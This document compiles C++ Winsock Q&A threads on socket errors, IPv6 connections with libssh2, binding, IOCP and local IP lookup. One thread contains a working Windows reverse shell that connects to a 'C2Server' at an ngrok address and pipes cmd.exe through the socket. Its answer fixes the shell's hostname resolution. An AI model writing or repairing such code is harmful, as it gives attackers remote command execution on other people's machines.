Winsock connect() error 10051 - c++

I get an 10051 socket error every time I try to use this code:
USES_CONVERSION;
LPTSTR addr = A2W("192.168.1.209");
m_pSMACLPRCli = new CSMACLPRCli(addr, 12010, m_hWnd);
m_pSMACLPRCli->StartThread();
This is the constructor for m_pSMACLPRCli:
CSMACLPRCli::CSMACLPRCli(LPTSTR lpsztIPAddress, int nPort, HWND hParentWnd)
And this is how I create the socket and connect:
void CBlockingSocket::Create(int nType /* = SOCK_STREAM */)
{
ASSERT(m_hSocket == NULL);
if ((m_hSocket = socket(AF_INET, nType, 0)) == INVALID_SOCKET)
{
TRACE("\n Socket Error !1 (%d)\n", WSAGetLastError());
int err = WSAGetLastError();
}
}
BOOL CBlockingSocket::Connect(LPCSOCKADDR psa)
{
ASSERT(m_hSocket != NULL);
// should timeout by itself
if (connect(m_hSocket, psa, sizeof(SOCKADDR)) == SOCKET_ERROR)
{
int nLastErr = WSAGetLastError();
return FALSE;
}
return TRUE;
}
The real funny thing is that when I use the exact same code, class structure etc. in a VS2008 project, everything works as expected, but when I use it in a VS2010 project, at connect() I get a 10051 error, Network is unreachable.
EDIT: The original VS2010 proj. is compiled using UNICODE. I've made a new VS2010 using MULTI-BYTE for testing and the connect() method returns no error, and ... connects. Could it be something wrong with my way of passing the address string to the constructor?
USES_CONVERSION;
LPTSTR addr = A2W("192.168.1.209");
m_pSMACLPRCli = new CSMACLPRCli(addr, 12010, m_hWnd);
m_pSMACLPRCli->StartThread();
SOLVED:
The real problem was not the connect() method, but had to do with my way of passing the address string to a constructor of a sockaddr object.
The constructor:
CSockAddr(const char *pchIP, const USHORT ushPort = 0) // dotted IP addr string
{
sin_family = AF_INET;
sin_port = htons(ushPort);
sin_addr.s_addr = inet_addr(pchIP);
}
Constructor call used by me:
CString m_strSrvIPAddr;
CSockAddr saServer((char *) LPTSTR(LPCTSTR(m_strSrvIPAddr)), USHORT(m_nPort));
I changed the call to this:
CStringA strAddr(m_strSrvIPAddr);
CSockAddr saServer((const char *) strAddr, USHORT(m_nPort));
So I had to do a conversion of the string from UNICODE to MULTI_BYTE.

When calling connect(), you need to use sizeof(SOCKADDR_IN) or sizeof(SOCKADDR_IN6) depending on what psa is actually pointing at. I would suggest having the caller pass in the actual size value:
BOOL CBlockingSocket::Connect(LPCSOCKADDR psa, int sasize)
{
ASSERT(m_hSocket != INVALID_SOCKET);
// should timeout by itself
if (connect(m_hSocket, psa, sasize) == SOCKET_ERROR)
{
int nLastErr = WSAGetLastError();
return FALSE;
}
return TRUE;
}
SOCKADDR_IN sa;
...
Connect((LPSOCKADDR)&sa, sizeof(sa));
Alternatively, it would be better to use SOCKADDR_STORAGE and just type-cast it when passing it to connect():
BOOL CBlockingSocket::Connect(const SOCKADDR_STORAGE *psa)
{
ASSERT(m_hSocket != INVALID_SOCKET);
// should timeout by itself
if (connect(m_hSocket, (LPCSOCKADDR)psa, sizeof(SOCKADDR_STORAGE)) == SOCKET_ERROR)
{
int nLastErr = WSAGetLastError();
return FALSE;
}
return TRUE;
}
SOCKADDR_STORAGE sa;
...
Connect(&sa);

It seems that this problem is not related to your code or the development environment but rather to the network the computer is connected to.
The output of ipconfig will let you know your IP address and the subnet mask which will allow you to understand which network you belong to.
The 192.186.0.0 network is a local address (behind a NAT) and you will not be able to connect to an address on this network unless you are part of it. If your IP address does not start with 192.168 it is the cause for the error you're getting.

Related

How to make C++ accept ngrok address?

I’ve created a simple C++ program that uses sockets to connect to my other machine. I don’t have windows pro so can’t open port 3389 and I don’t want to download other third party applications as I genuinely want to complete what I have finished.
I’m paying for an ngrok address in the format of: 0.tcp.ngrok.io:12345
The program works fine when using my private IP address - however when I use my ngrok address, it doesn’t work. I can still communicate to my machine via the ngrok address through other means, but it seems as if the program is not communicating with the address at all for some reason. I’m not sure if it’s something to do with the fact there are letters in the address? I don’t know - I’m really stuck on this. I’ll show the code below and I would really appreciate it if someone could tell me if there is something I should be doing to get this to work with the ngrok address - or if there is nothing wrong with it at all and it’s a problem with ngrok..
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
void RunShell(char* C2Server, int C2Port) {
while(true) {
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2,2), &version);
mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL,
(unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server); //IP received from main function
addr.sin_port = htons(C2Port); //Port received from main function
//Connecting to Proxy/ProxyIP/C2Host
if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL,
NULL)==SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo,
&pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
if (strcmp(RecvData, "exit\n") == 0) {
exit(0);
}
}
}
}
}
//-----------------------------------------------------------
//-----------------------------------------------------------
//-----------------------------------------------------------
int main(int argc, char **argv) {
if (argc == 3) {
int port = atoi(argv[2]); //Converting port in Char datatype to Integer format
RunShell(argv[1], port);
}
else {
char host[] = "0.tcp.ngrok.io";
int port = 12345;
RunShell(host, port);
}
return 0;
}
inet_addr() only works with strings in IP dotted notation, not with hostnames. So, inet_addr("0.tcp.ngrok.io") will fail and return -1 (aka INADDR_NONE), thus you are trying to connect to 255.255.255.255:12345. But it will work fine for something like inet_addr("196.168.#.#") (where # are numbers 0..255).
You need to use getaddrinfo() instead to resolve a hostname to an IP address, eg:
// you should do this only once per process, not per loop iteration...
WSADATA version;
if (WSAStartup(MAKEWORD(2,2), &version) != 0)
{
// error handling...
}
...
addrinfo hints = {}, *addrs;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
char portBuf[12] = {};
if (getaddrinfo(C2Server, itoa(C2Port, portBuf, 10), &hints, &addrs) != 0)
{
// error handling...
}
//Connecting to Proxy/ProxyIP/C2Host
SOCKET mySocket = INVALID_SOCKET;
for(addrinfo *addr = addrs; addr; addr = addr->ai_next)
{
mySocket = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
if (mySocket == INVALID_SOCKET)
continue;
if (connect(mySocket, addr->ai_addr, addr->ai_addrlen) == 0)
break;
closesocket(mySocket);
mySocket = INVALID_SOCKET;
}
freeaddrinfo(addrs);
if (mySocket == INVALID_SOCKET)
{
// error handling...
}
// use mySocket as needed...
closesocket(mySocket);
...
// you should do this only once per process, not per loop iteration...
WSACleanup();
Just note that because ngrok is an external cloud service, your ngrok hostname will resolve to your ngrok server's public Internet IP address, not its private IP address. If that server machine is behind a router/firewall, you will have to configure the router/firewall to port forward a public IP/port to the server's private IP/port.

LIBSSH2 C++ with dual stack IPv4 and IPv6

I am working on a C++ project that needs to establish a connection via SSH to a remote server and execute some commands and transfer files via SFTP. However, I need this application to work in dual stack mode (e.g., with IPv6 and IPv4) mode.
In the snippet below, my program initially receives an host-name, IPv6 or IPv4 address. In the IPv4 input the connection is successful. However, I am having strange problems in the IPv6 mode that I am noticing that the connection is established via socket and the SSH session fails to start.
Currently, I believe it could be something related to the inet_ntop() method. Please notice that remoteHost variable is an char* type and the remotePort is uint16_t type.
// Initialize some important variables
uint32_t hostaddr = 0, hostaddr6 = 0;
struct sockaddr_in sin = {};
struct sockaddr_in6 sinV6 = {};
int rc = 0, sock = 0, i = 0, auth_pw = 0;
// Here we will initialize our base class with username and password
this->username = usrName;
this->password = usrPassword;
// Firstly, we need to translate the hostname into an IPv4 or IPv6 address
struct addrinfo hints={}, *sAdrInfo = {};
char addrstr[100]={};
void *ptr= nullptr;
char addrParsed[50]={};
memset (&hints, 0, sizeof (hints));
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags |= AI_CANONNAME;
// Now we need to get some address info from the one supplied that remoteHost parameter
int errcode = getaddrinfo (remoteHost, nullptr, &hints, &sAdrInfo);
if (errcode != 0) {
SERVER_ERROR("[SSH] Error while getaddrinfo at SSHConnect() code %d", errno);
return -4;
}
inet_ntop(sAdrInfo->ai_family, sAdrInfo->ai_addr->sa_data, addrstr, 100);
// Here we need to determine if we are using IPv6 or IPv4
switch (sAdrInfo->ai_family) {
case AF_INET6:
ptr = &((struct sockaddr_in6 *) sAdrInfo->ai_addr)->sin6_addr;
break;
case AF_INET:
ptr = &((struct sockaddr_in *) sAdrInfo->ai_addr)->sin_addr;
break;
}
inet_ntop(sAdrInfo->ai_family, ptr, addrstr, 100);
sprintf(addrParsed, "%s", addrstr);
//This part is responsible for creating the socket and establishing the connection
// Now if we have an IPv4 based host
if (sAdrInfo->ai_family == AF_INET) {
this->hostaddr = inet_addr(addrParsed);
sock = socket(AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
// Now we need to set these (address and port to our sockaddr_in variable sin)
sin.sin_port = htons(remotePort);
memcpy(&sin.sin_addr, &hostaddr, sizeof(hostaddr));
}
// Now if we have an IPv6 based host
else if (sAdrInfo->ai_family == AF_INET6) {
this->hostaddr6 = inet_addr(addrParsed);
sock = socket(AF_INET6, SOCK_STREAM, 0);
sin.sin_family = AF_INET6;
// Now we need to set these (address and port to our sockaddr_in variable sin)
sinV6.sin6_port = htons(remotePort);
memcpy(&sinV6.sin6_addr.s6_addr32, &hostaddr6, sizeof(this->hostaddr6));
}
// Now we need to connect to our socket :D
if (sAdrInfo->ai_family == AF_INET) {
int resCon = connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in));
if (resCon != 0){
SERVER_ERROR("[SSH] failed to connect with error code: %d!\n", errno);
return -1;
}
}
else if (sAdrInfo->ai_family == AF_INET6) {
int resCon = connect(sock, (struct sockaddr*)(&sinV6), sizeof(struct sockaddr_in6));
if (resCon != 0){
SERVER_ERROR("[SSH] failed to connect with error code: %d!\n", errno);
return -1;
}
}
// Free our result variables
freeaddrinfo(sAdrInfo);
// Create a session instance
session = libssh2_session_init();
if(!session) {
return -2;
}
/* Now to start the session. Here will trade welcome banners, exchange keys and setup crypto, compression,
* and MAC layers */
rc = libssh2_session_handshake(session, sock);
if(rc) {
SERVER_ERROR("Failure establishing SSH session: %d\n", rc);
return -3;
}
What is wrong with the implementation that is generating the "Failure establishing SSH session" message with IPv6 stack?
Best regards,

Windows Socket unable to bind on VPN IP address

I am trying to bind to particular IP which is over a VPN network and I am able to ping it, connect it and also able to telnet on particular port but my windows MFC program gives error code 10049 and I am not able to go further any help in debugging this problem will be appreciated, I am running this on Visual Studio 2012 Win 7 and remote client is running on Linux variant.
This is part of code where I am getting error basically IP address is configurable but I am hardcoding it to debug.
CStarDoc *p_doc = (CStarDoc*) lpparam;
BOOL fFlag = TRUE;
const int MAX_MSGLEN = max(sizeof(DISP_INFO_T ), sizeof(REASON_STRING_T ));
char buffer[MAX_MSGLEN];
DISP_INFO_T *p_disp_info_buffer = (DISP_INFO_T *) buffer;
DISP_INFO_T disp_info_combined; //receiving combined butter
DISP_INFO_T_1 *p_disp_info_buffer1; //receiving buffer pointer for DispInfo1
DISP_INFO_T_2 *p_disp_info_buffer2; //receiving buffer pointer for DispInfo2
int msgReceived = 0; // Initially, is 0.
// For the same msgNumber, when the program receives the first portion of buffer, set to 1,
// When the program receives both portions, set it to 0.
// When the program misses any portion for the same msgNumber, set to 0 also.
int currentMsgNum1 = 0;
int currentMsgNum2 = 0;
int err;
CString msg;
SOCKADDR_IN saUDPPortIn;
SOCKADDR_IN From;
struct addrinfo *result = NULL;
struct addrinfo *ptr = NULL;
struct addrinfo hints;
::memset( &hints,0, sizeof(hints) );
hints.ai_family = AF_UNSPEC;
//hints.ai_socktype = SOCK_DGRAM;
//hints.ai_protocol = IPPROTO_UDP;
char asideip[] = "192.168.1.129";
BOOL OtherSideIsStandby = FALSE;
static BOOL DoFirstMsg = TRUE;
// p_disp_info_combined = & disp_info_combined;
p_doc->ThreadRunning = TRUE;
p_doc->udpsocket = socket(AF_INET, SOCK_DGRAM, 0);
if (INVALID_SOCKET == p_doc->udpsocket)
{
CString msg = "Invalid socket: "+ WSAGetLastError();
AfxMessageBox(msg);
return(-1);
}
long ip = 0;
int sockbufsize = 0;
int timeout = 2000;
// This is the IP that matches the IP of the QNX machines in all but the last octet.
// Note: it is in host byte format.
int errcode = getaddrinfo(asideip,NULL,&hints,&result);
for(ptr = result;ptr != NULL ;ptr=ptr->ai_next)
{
switch (ptr->ai_family)
{
default: break;
case AF_INET :
ip = p_doc->MyIP;
saUDPPortIn.sin_family = AF_INET;
saUDPPortIn.sin_addr.s_addr = (((SOCKADDR_IN*) ptr->ai_addr)->sin_addr).s_addr;
saUDPPortIn.sin_port = htons(p_doc->port_addr );
int length = sizeof(buffer) *2;
//err = setsockopt(p_doc->udpsocket,SOL_SOCKET, SO_REUSEADDR, (char *)&fFlag, sizeof(fFlag));
//err = setsockopt(p_doc->udpsocket,SOL_SOCKET, SO_BROADCAST, (char *)&fFlag, sizeof(fFlag));
err = setsockopt(p_doc->udpsocket, SOL_SOCKET, SO_RCVBUF, (char *)&length, sizeof(length));
// Keep from hanging forever.
err = setsockopt(p_doc->udpsocket, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
err = bind(p_doc->udpsocket, (SOCKADDR FAR *)&saUDPPortIn, sizeof(SOCKADDR_IN));
if (err == SOCKET_ERROR)
{
int errcode = WSAGetLastError();
closesocket(p_doc->udpsocket);
/* msg.Format("Network Connectivity failed, Please Check Network. ");
AfxMessageBox(msg);
closesocket(p_doc->udpsocket);
p_doc->udpsocket = -1; // task is trying to attach to the port.
return(1);*/
}
}
}
Thanks
You can not bind to remote address and as your error shows, it is such case. You use bind system call with local IP and Port.
Here is what MSDN says about your error:
WSAEADDRNOTAVAIL 10049
Cannot assign requested address. The requested address is not valid in
its context. This normally results from an attempt to bind to an
address that is not valid for the local computer. This can also result
from connect, sendto, WSAConnect, WSAJoinLeaf, or WSASendTo when the
remote address or port is not valid for a remote computer (for
example, address or port 0).

IOCP C++ TCP client

I am having some trouble implementing TCP IOCP client. I have implemented kqueue on Mac OSX so was looking to do something similar on windows and my understanding is that IOCP is the closest thing. The main problem is that GetCompetetionStatus is never returning and always timeouts out. I assume I am missing something when creating the handle to monitor, but not sure what. This is where I have gotten so far:
My connect routine: (remove some error handling for clarity )
struct sockaddr_in server;
struct hostent *hp;
SOCKET sckfd;
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ((hp = gethostbyname(host)) == NULL)
return NULL;
WSASocket(AF_INET,SOCK_STREAM,0,NULL,0,WSA_FLAG_OVERLAPPED)
if ((sckfd = WSASocket(AF_INET,SOCK_STREAM,0, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
{
printf("Error at socket(): Socket\n");
WSACleanup();
return NULL;
}
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr = *((struct in_addr *)hp->h_addr);
memset(&(server.sin_zero), 0, 8);
//non zero means non blocking. 0 is blocking.
u_long iMode = -1;
iResult = ioctlsocket(sckfd, FIONBIO, &iMode);
if (iResult != NO_ERROR)
printf("ioctlsocket failed with error: %ld\n", iResult);
HANDLE hNewIOCP = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, ulKey, 0);
CreateIoCompletionPort((HANDLE)sckfd, hNewIOCP , ulKey, 0);
connect(sckfd, (struct sockaddr *)&server, sizeof(struct sockaddr));
//WSAConnect(sckfd, (struct sockaddr *)&server, sizeof(struct sockaddr),NULL,NULL,NULL,NULL);
return sckfd;
Here is the send routine: ( also remove some error handling for clarity )
IOPortConnect(int ServerSocket,int timeout,string& data){
char buf[BUFSIZE];
strcpy(buf,data.c_str());
WSABUF buffer = { BUFSIZE,buf };
DWORD bytes_recvd;
int r;
ULONG_PTR ulKey = 0;
OVERLAPPED overlapped;
OVERLAPPED* pov = NULL;
HANDLE port;
HANDLE hNewIOCP = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, ulKey, 0);
CreateIoCompletionPort((HANDLE)ServerSocket, hNewIOCP , ulKey, 0);
BOOL get = GetQueuedCompletionStatus(hNewIOCP,&bytes_recvd,&ulKey,&pov,timeout*1000);
if(!get)
printf("waiton server failed. Error: %d\n",WSAGetLastError());
if(!pov)
printf("waiton server failed. Error: %d\n",WSAGetLastError());
port = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, (u_long)0, 0);
SecureZeroMemory((PVOID) & overlapped, sizeof (WSAOVERLAPPED));
r = WSASend(ServerSocket, &buffer, 1, &bytes_recvd, NULL, &overlapped, NULL);
printf("WSA returned: %d WSALastError: %d\n",r,WSAGetLastError());
if(r != 0)
{
printf("WSASend failed %d\n",GetLastError());
printf("Bytes transfered: %d\n",bytes_recvd);
}
if (WSAGetLastError() == WSA_IO_PENDING)
printf("we are async.\n");
CreateIoCompletionPort(port, &overlapped.hEvent,ulKey, 0);
BOOL test = GetQueuedCompletionStatus(port,&bytes_recvd,&ulKey,&pov,timeout*1000);
CloseHandle(port);
return true;
}
Any insight would be appreciated.
You are associating the same socket with multiple IOCompletionPorts. I'm sure thats not valid. In your IOPortConnect function (Where you do the write) you call CreateIOCompletionPort 4 times passing in one shot handles.
My advice:
Create a single IOCompletion Port (that, ultimately, you associate numerous sockets with).
Create a pool of worker threads (by calling CreateThread) that each then block on the IOCompletionPort handle by calling GetQueuedCompletionStatus in a loop.
Create one or more WSA_OVERLAPPED sockets, and associate each one with the IOCompletionPort.
Use the WSA socket functions that take an OVERLAPPED* to trigger overlapped operations.
Process the completion of the issued requests as the worker threads return from GetQueuedCompletionStatus with the OVERLAPPED* you passed in to start the operation.
Note: WSASend returns both 0, and SOCKET_ERROR with WSAGetLastError() as WSA_IO_PENDING as codes to indicate that you will get an IO Completion Packet arriving at GetQueuedCompletionStatus. Any other error code means you should process the error immediately as an IO operation was not queued so there will be no further callbacks.
Note2: The OVERLAPPED* passed to the WSASend (or whatever) function is the OVERLAPPED* returned from GetQueuedCompletionStatus. You can use this fact to pass more context information with the call:
struct MYOVERLAPPED {
OVERLAPPED ovl;
};
MYOVERLAPPED ctx;
WSASend(...,&ctx.ovl);
...
OVERLAPPED* pov;
if(GetQueuedCompletionStatus(...,&pov,...)){
MYOVERLAPPED* pCtx = (MYOVERLAPPED*)pov;
Chris has dealt with most of the issues and you've probably already looked at plenty of example code, but...
I've got some free IOCP code that's available here: http://www.serverframework.com/products---the-free-framework.html
There are also several of my CodeProject articles on the subject linked from that page.

Finding Local IP via Socket Creation / getsockname

I need to get the IP address of a system within C++. I followed the logic and advice of another comment on here and created a socket and then utilized getsockname to determine the IP address which the socket is bound to.
However, this doesn't appear to work (code below). I'm receiving an invalid IP address (58.etc) when I should be receiving a 128.etc
Any ideas?
string Routes::systemIP(){
// basic setup
int sockfd;
char str[INET_ADDRSTRLEN];
sockaddr* sa;
socklen_t* sl;
struct addrinfo hints, *servinfo, *p;
int rv;
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_DGRAM;
if ((rv = getaddrinfo("4.2.2.1", "80", &hints, &servinfo)) != 0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv));
return "1";
}
// loop through all the results and make a socket
for(p = servinfo; p != NULL; p = p->ai_next) {
if ((sockfd = socket(p->ai_family, p->ai_socktype,
p->ai_protocol)) == -1) {
perror("talker: socket");
continue;
}
break;
}
if (p == NULL) {
fprintf(stderr, "talker: failed to bind socket\n");
return "2";
}
// get information on the local IP from the socket we created
getsockname(sockfd, sa, sl);
// convert the sockaddr to a sockaddr_in via casting
struct sockaddr_in *sa_ipv4 = (struct sockaddr_in *)sa;
// get the IP from the sockaddr_in and print it
inet_ntop(AF_INET, &(sa_ipv4->sin_addr.s_addr), str, INET_ADDRSTRLEN);
printf("%s\n", str);
// return the IP
return str;
}
Your code already contains the hint: failed to bind socket. But you cut the part of the code that attempts connecting out (did you copy from Stevens UnP?). The socket is not connected to anything, so the network stack has not assigned the local address to it yet.
Once you connect the socket the kernel has to select the local address for it according to the routing table. At that point getsockname(2) will work as expected.
You do not need to allocate a socket to get the machine's available IP addresses. You can use the socket API gethostname() and gethostbyname() functions instead. Or, on Windows, you can alternatively use the Win32 API GetAdaptersInfo() or GetAdaptersAddresses() function instead.